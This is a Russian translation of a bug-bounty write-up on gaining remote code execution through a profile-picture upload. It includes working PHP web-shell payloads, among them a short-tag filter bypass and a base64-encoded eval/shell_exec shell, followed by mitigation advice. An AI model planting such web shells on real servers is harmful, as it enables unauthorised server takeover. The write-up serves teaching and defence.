Как я нашел RCE через загрузку файла
@Ent_TranslateIB
Введение
В этой статье я расскажу, как я обнаружил уязвимость удаленного выполнения кода (Remote Code Execution, RCE), просто загрузив профиль. На сервере были проверки фильтрации, которые ограничивали ввод вредоносных символов, и важно понять, как сервер обрабатывает такие запросы. Если вы занимаетесь поиском багов или тестированием на проникновение, эта информация будет вам полезна!
Что такое RCE?
Удаленное выполнение кода (RCE) позволяет злоумышленнику выполнять любые команды на сервере дистанционно. Представьте, что можно получить контроль над сервером сайта, просто загрузив файл — довольно пугающе, не так ли? Именно это позволяет сделать RCE.
Как загрузка файлов может быть опасной?
Многие сайты позволяют пользователям загружать файлы, например, изображения или документы. Однако, если сайт недостаточно тщательно проверяет загружаемые файлы, злоумышленник может загрузить файл, который не просто хранит данные, но и захватывает сервер. И здесь на помощь приходит RCE.
Как я нашел уязвимость
Вот пошаговое описание, как я обнаружил уязвимость RCE через загрузку файлов:
1. Анализ хостинг-сервера и его языка программирования
Первым шагом было проанализировать сервер, на котором размещено приложение. Есть два способа определить тип сервера:
- Использование расширения Wappalyzer

- Анализ заголовков ответа сервера

2. Загрузка PHP-файла в функции профиля
- Вначале я попытался загрузить .php файл, но на клиентской стороне была ограничена возможность загружать только изображения, такие как .jpg и .png. Чтобы обойти это, я загрузил изображение и перехватил запрос с помощью Burp Suite. Затем я изменил расширение файла на .php и добавил простой PHP-код для выполнения команд:
<?php system($_GET['cmd']); ?>
- Однако сервер блокировал этот PHP-код из-за фильтрации. Я начал экспериментировать, постепенно удаляя специальные символы из кода и анализируя ответы сервера. В итоге выяснилось, что сервер блокировал файлы, если в них было слово "php". Если этого слова не было, загрузка проходила успешно.
Заблокированный пэйлоад — <?php system($_GET[‘cmd’]); ?>
Принятый пэйлоад — <? system($_GET[‘cmd’]); ?>
Здесь была загружена полезная нагрузка, но она не может быть исполняемой.
3. Создание вредоносного кода
Затем я попробовал различные PHP-скрипты, все они были успешно загружены, но ни один из них не был исполняемым. Я не сдавался! Поразмыслив, я подумал, почему бы не попробовать отправить полезную нагрузку в закодированном формате?
Я решил создать PHP-скрипт, используя кодировку base64. Окончательная полезная нагрузка была:
<?=eval(base64_decode('ZWNobyBzaGVsbF91eGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs='));?>
После загрузки этот код успешно выполнялся — и я достиг RCE!



Почему это сработало?
Уязвимость существовала по следующим причинам:
- Сервер не ограничивал типы файлов — он позволил мне загрузить опасный файл, такой как .php.
- Каталог загрузки файла разрешал выполнение скриптов, что означало, что мой PHP-файл мог запускаться.
- Веб-сайт должным образом не проверял и не очищал содержимое загруженных файлов.
Как защититься от таких уязвимостей
Разработчики могут предотвратить уязвимости RCE, выполняя следующие действия:
- Ограничение разрешенных типов файлов: разрешайте только безопасные типы файлов, такие как .jpg, .png или .pdf.
- Проверка содержимого файла: убедитесь, что файл соответствует заявленному. Не полагайтесь только на расширение.
- Безопасное хранение файлов: храните загруженные файлы в папке, где они не могут быть запущены, даже если они содержат вредоносный код.
Заключение
Найти RCE через загрузку файлов не так сложно, если вы знаете, что искать. Если вы только начинаете, попробуйте поиграться с формами загрузки файлов — возможно, найдете похожие уязвимости.
Оригинал статьи - здесь.
Поддержите автора хлопками на Medium.
Ссылки автора статьи:
Перевод статьи был выполнен проектом перевод энтузиаста:
- 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности